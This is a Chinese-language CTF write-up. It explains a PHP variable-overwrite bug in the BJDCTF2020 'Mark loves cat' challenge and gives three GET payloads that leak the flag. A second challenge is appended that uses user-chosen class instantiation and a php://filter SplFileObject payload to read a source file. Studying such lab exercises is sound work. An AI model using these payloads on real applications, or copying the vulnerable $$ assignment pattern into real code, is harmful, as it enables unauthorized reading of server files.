[BJDCTF2020]Mark loves cat

flag.php

1
2
3
<?php

$flag = file_get_contents('/flag');

index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
$$x = $y;
}

foreach($_GET as $x => $y){
$$x = $$y;
}

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}



echo "the flag is: ".$flag;

如果进行get传参,那么传参名会被加上$,传参值也会被加上$,举个例子,假如我们get传入参数:a=b,那么经过foreach之后,就会被替换成:$a=$b

如果进行post传参,那么传参名会被加上$,而传参值不会发生变化,同样举个例子:假设我们post传入参数:a=b,那么经过foreach之后,就会被替换成$a=b

然后是3个连着的if语句,我们要做的就是利用这几个if语句来进行变量的覆盖
这里要简要的说个知识点,是关于exit()函数的:

也就是它虽然会退出执行,但依然会输出其参数,所以我们就要将exit()里面的参数换为我们想要的参数,也就是最后一句的:echo "the flag is: ".$flag;

playload1

1
?is=flag&flag=flag

通过GET方式传入is=flag&flag=flag后,先经过foreach函数,得到$is=$flag,继续达到这串代码

playload2

1
?yds=flag
1
2
3
4
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

利用这串代码,如果get和post传参里都没有flag,就返回yds,加上前面的便历,将yds=flag变为$yds=$flag

playload3

1
/?handsome=flag&flag=x&x=flag
1
2
3
4
5
6
7
8
9
10
foreach($_GET as $x => $y){
$$x = $$y; /
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){

exit($handsome);
}

}

如果GET型中flag变量的值等于GET型中一个不为flag的键名则退出
?flag=a

a=flag

primtive

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
//hint.php
foreach ($_GET as $value) {
if(preg_match("/flag/",$value)){
die("flag来没来,如来");
}

}
$a = new $_GET['class1']($_GET['a']);$b = new $_GET['class2']($_GET['b']);
if ($a !== $b and md5($a)===md5($b))
{
echo new $_GET['class3']($_GET['c']);
}
1
?a="1"&b="1"&class1=Error&class2=Error&class3=SplFileObject&c=php://filter/convert.base64-encode/resource=hint.php